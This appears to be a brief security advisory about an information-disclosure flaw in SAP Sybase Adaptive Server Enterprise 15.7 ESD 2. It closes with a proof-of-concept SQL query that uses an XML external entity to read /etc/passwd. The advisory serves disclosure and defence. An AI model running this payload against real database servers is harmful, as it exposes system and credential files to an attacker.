source: http://www.securityfocus.com/bid/63193/info

SAP Sybase Adaptive Server Enterprise is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

SAP Sybase Adaptive Server Enterprise 15.7 ESD 2 is vulnerable; other versions may also be affected. 

SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>'))